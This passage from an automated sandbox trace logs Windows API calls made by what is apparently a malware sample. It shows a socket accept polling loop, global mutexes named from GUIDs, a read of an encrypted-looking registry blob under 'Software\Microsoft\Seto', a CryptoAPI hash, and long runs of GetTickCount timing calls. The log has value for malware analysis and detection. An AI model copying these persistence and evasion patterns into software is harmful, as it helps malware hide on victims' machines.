addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.843] Sleep (dwMilliseconds=0xa) [0131.859] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.874] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.875] Sleep (dwMilliseconds=0xa) [0131.890] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.906] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.906] Sleep (dwMilliseconds=0xa) [0131.922] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.942] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.942] Sleep (dwMilliseconds=0xa) [0131.952] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.999] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.999] Sleep (dwMilliseconds=0xa) [0132.030] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.030] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.030] Sleep (dwMilliseconds=0xa) [0132.046] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.062] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.062] Sleep (dwMilliseconds=0xa) [0132.077] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.094] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.094] Sleep (dwMilliseconds=0xa) [0132.109] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.124] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.124] Sleep (dwMilliseconds=0xa) [0132.140] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.155] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.155] Sleep (dwMilliseconds=0xa) [0132.171] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.187] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.187] Sleep (dwMilliseconds=0xa) [0132.202] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.218] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.218] Sleep (dwMilliseconds=0xa) [0132.233] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.249] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.249] Sleep (dwMilliseconds=0xa) [0132.264] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.295] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.295] Sleep (dwMilliseconds=0xa) [0132.296] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.311] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.311] Sleep (dwMilliseconds=0xa) [0132.327] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.343] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.343] Sleep (dwMilliseconds=0xa) [0132.358] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.374] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.374] Sleep (dwMilliseconds=0xa) [0132.389] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.405] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.405] Sleep (dwMilliseconds=0xa) [0132.420] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.437] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.437] Sleep (dwMilliseconds=0xa) [0132.452] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.467] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.467] Sleep (dwMilliseconds=0xa) [0132.483] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.499] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.499] Sleep (dwMilliseconds=0xa) [0132.514] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.530] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.530] Sleep (dwMilliseconds=0xa) [0132.545] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.561] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.561] Sleep (dwMilliseconds=0xa) [0132.577] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.592] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.592] Sleep (dwMilliseconds=0xa) [0132.608] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.639] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.639] Sleep (dwMilliseconds=0xa) [0132.655] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.670] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.670] Sleep (dwMilliseconds=0xa) [0132.686] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.701] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.701] Sleep (dwMilliseconds=0xa) [0132.717] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.732] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.733] Sleep (dwMilliseconds=0xa) [0132.748] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.764] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.764] Sleep (dwMilliseconds=0xa) [0132.779] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.805] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.805] Sleep (dwMilliseconds=0xa) [0132.810] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.826] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.826] Sleep (dwMilliseconds=0xa) [0132.842] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.857] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.857] Sleep (dwMilliseconds=0xa) [0132.873] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.890] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.890] Sleep (dwMilliseconds=0xa) [0132.904] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.920] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.920] Sleep (dwMilliseconds=0xa) [0132.946] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.951] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.951] Sleep (dwMilliseconds=0xa) [0132.966] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.998] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0132.998] Sleep (dwMilliseconds=0xa) [0133.014] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.076] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.076] Sleep (dwMilliseconds=0xa) [0133.103] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.123] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.123] Sleep (dwMilliseconds=0xa) [0133.138] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.154] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.154] Sleep (dwMilliseconds=0xa) [0133.169] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.185] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.185] Sleep (dwMilliseconds=0xa) [0133.200] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.216] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.216] Sleep (dwMilliseconds=0xa) [0133.232] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.249] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.249] Sleep (dwMilliseconds=0xa) [0133.263] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.279] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.279] Sleep (dwMilliseconds=0xa) [0133.294] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.310] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.310] Sleep (dwMilliseconds=0xa) [0133.325] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.356] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.356] Sleep (dwMilliseconds=0xa) [0133.356] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.372] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.372] Sleep (dwMilliseconds=0xa) [0133.388] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.404] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.404] Sleep (dwMilliseconds=0xa) [0133.419] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.434] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.434] Sleep (dwMilliseconds=0xa) [0133.450] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.466] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.466] Sleep (dwMilliseconds=0xa) [0133.481] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.497] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.497] Sleep (dwMilliseconds=0xa) [0133.512] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.528] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.528] Sleep (dwMilliseconds=0xa) [0133.544] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.559] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.559] Sleep (dwMilliseconds=0xa) [0133.575] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.591] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.591] Sleep (dwMilliseconds=0xa) [0133.606] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.622] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.622] Sleep (dwMilliseconds=0xa) [0133.637] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.653] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.653] Sleep (dwMilliseconds=0xa) [0133.668] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.699] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.699] Sleep (dwMilliseconds=0xa) [0133.700] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.715] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.715] Sleep (dwMilliseconds=0xa) [0133.731] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.746] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.746] Sleep (dwMilliseconds=0xa) [0133.762] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.778] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.778] Sleep (dwMilliseconds=0xa) [0133.794] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.820] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.820] Sleep (dwMilliseconds=0xa) [0133.824] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.863] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.863] Sleep (dwMilliseconds=0xa) [0133.871] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.887] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.887] Sleep (dwMilliseconds=0xa) [0133.902] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.938] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0133.938] Sleep (dwMilliseconds=0xa) Thread: id = 160 os_tid = 0x9c4 [0112.119] StringFromGUID2 (in: rguid=0x25be858*(Data1=0xe4529d1e, Data2=0x2ef4, Data3=0x5e62, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x25befd2, cchMax=40 | out: lpsz="{E4529D1E-2EF4-5E62-65D9-FE61A0417768}") returned 39 [0112.119] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{E4529D1E-2EF4-5E62-65D9-FE61A0417768}") returned 0x168 [0112.119] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xffffffff) returned 0x0 [0112.119] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0112.142] GetTickCount () returned 0x22f68 [0112.142] StringFromGUID2 (in: rguid=0x25be158*(Data1=0x8e6a7e3d, Data2=0xcdd7, Data3=0x345a, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x333de6, cchMax=40 | out: lpsz="{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 39 [0112.142] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 0x1ac [0112.142] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0112.142] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x25be5bc | out: phkResult=0x25be5bc*=0x1b0) returned 0x0 [0112.142] RegQueryValueExW (in: hKey=0x1b0, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be888, lpData=0x0, lpcbData=0x25be5b8*=0x0 | out: lpType=0x25be888*=0x3, lpData=0x0, lpcbData=0x25be5b8*=0x5a5) returned 0x0 [0112.142] RegQueryValueExW (in: hKey=0x1b0, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be888, lpData=0x84fc20, lpcbData=0x25be5b8*=0x5a5 | out: lpType=0x25be888*=0x3, lpData=0x84fc20*, lpcbData=0x25be5b8*=0x5a5) returned 0x0 [0112.142] RegCloseKey (hKey=0x1b0) returned 0x0 [0112.142] CryptAcquireContextW (in: phProv=0x25be438, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25be438*=0x84eaf8) returned 1 [0112.143] CryptCreateHash (in: hProv=0x84eaf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25be434 | out: phHash=0x25be434) returned 1 [0112.143] CryptHashData (hHash=0x868fa0, pbData=0x84fc50, dwDataLen=0x575, dwFlags=0x0) returned 1 [0112.143] CryptGetHashParam (in: hHash=0x868fa0, dwParam=0x2, pbData=0x25be460, pdwDataLen=0x25be430, dwFlags=0x0 | out: pbData=0x25be460, pdwDataLen=0x25be430) returned 1 [0112.143] CryptDestroyHash (hHash=0x868fa0) returned 1 [0112.143] CryptReleaseContext (hProv=0x84eaf8, dwFlags=0x0) returned 1 [0112.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0112.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", cchWideChar=28, lpMultiByteStr=0x82b220, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", lpUsedDefaultChar=0x0) returned 28 [0112.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x25bd6a8, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0112.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x25bd6a8, cbMultiByte=2, lpWideCharStr=0x84cb48, cchWideChar=3 | out: lpWideCharStr="18") returned 2 [0112.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0112.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18", cchWideChar=2, lpMultiByteStr=0x84c650, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="18", lpUsedDefaultChar=0x0) returned 2 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.143] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.144] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22f68 [0112.145] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount 